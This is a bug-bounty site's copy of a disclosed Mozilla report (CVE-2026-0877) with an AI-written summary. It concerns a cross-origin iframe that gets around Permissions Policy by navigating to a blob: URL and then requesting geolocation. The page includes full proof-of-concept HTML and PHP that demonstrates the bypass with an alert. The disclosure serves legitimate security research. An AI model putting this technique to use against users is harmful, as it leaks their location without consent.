Skip to content
Access control Disclosed report Advanced CVE-2026-0877

Permission Policy bypass in cross-origin iframes using a blob: URL

A cross-origin iframe that navigates itself to a blob: URL can request the geolocation permission even though the parent page's Permissions Policy does not allow it. An attacker could therefore obtain a victim's location from an embedded frame that should have been blocked.

mingijung Follow

Originally disclosed on Mozilla

  • Fixed in 42 days
  • Paid in 2 months
  • Disclosed after 42 days
Text
Created attachment 9525667
1.mp4

parent origin : leak.test
child origin : adition.com


A child window has code that requests the geolocation feature. This code also exists inside a blob:url. Normally, when addition.com (inside an iframe) requests geolocation, it fails because of allow list. However, if the iframe navigates to a blob:url, it then requests geolocation bypassing allow list.


https://leak.test (parent)
'''
<?php
echo "<p>This is mimic of https://leak.test/</p>";
?>

<iframe src="https://adition.com" frameborder="0"></iframe>
'''

https://adition.com (child)
'''
<?php
echo "<p>This is mimic of https://adition.com</p>";
?>

<!doctype html>
<html>
<head>
</head>
<body>
  <script>
    
    const blobHtml = `
      <!doctype html>
      <meta charset="utf-8">
      <body>
        <script>
            async function testPermissions() {
            try {
                const position = await new Promise((resolve, reject) => {
                if (!navigator.geolocation) {
                    reject(new Error('Geolocation is not supported by this browser.'));
                }
                navigator.geolocation.getCurrentPosition(resolve, reject);
                });

                alert('Latitude:' + position.coords.latitude);

            } catch (error) {
                alert('Fail');
            }
        }

            testPermissions();
        <\/script> 
        </body>
    `;

    const blob = new Blob([blobHtml], { type: 'text/html' });
    const url = URL.createObjectURL(blob);
    let a = document.createElement('a');
    a.href = url;
    a.textContent = 'Open blob url self';
    a.target = '_self'; 
    document.body.appendChild(a);
    
  </script>
    <script>
        async function testPermissions() {
            try {
                const position = await new Promise((resolve, reject) => {
                if (!navigator.geolocation) {
                    reject(new Error('Geolocation is not supported by this browser.'));
                }
                navigator.geolocation.getCurrentPosition(resolve, reject);
                });

                alert('Latitude:' + position.coords.latitude);

            } catch (error) {
                alert('Fail');
            }
        }

        testPermissions();
    </script> 

</body>
</html>
'''

The original report as published on Mozilla's Bugzilla, by mingijung. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A malicious embedded frame could obtain the user's geolocation despite the parent page not granting that permission, though the user may still be prompted by the browser.

What the attacker needed

Victim visits attacker page; browser prompts for location permission

How it was found

  1. Load the parent page that embeds the child site in an iframe without allowing geolocation.
  2. The child page builds an HTML document in memory and creates a blob: URL for it.
  3. The child frame navigates itself to that blob: URL.
  4. The blob document requests geolocation and receives the position instead of failing.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Websites can restrict which features an embedded frame is allowed to use, such as asking for your location. This report shows that if the frame first switches to a page it built in memory (a blob: URL), the restriction is ignored and the location request goes through. That means a page you visit could quietly learn where you are.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by mingijung

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.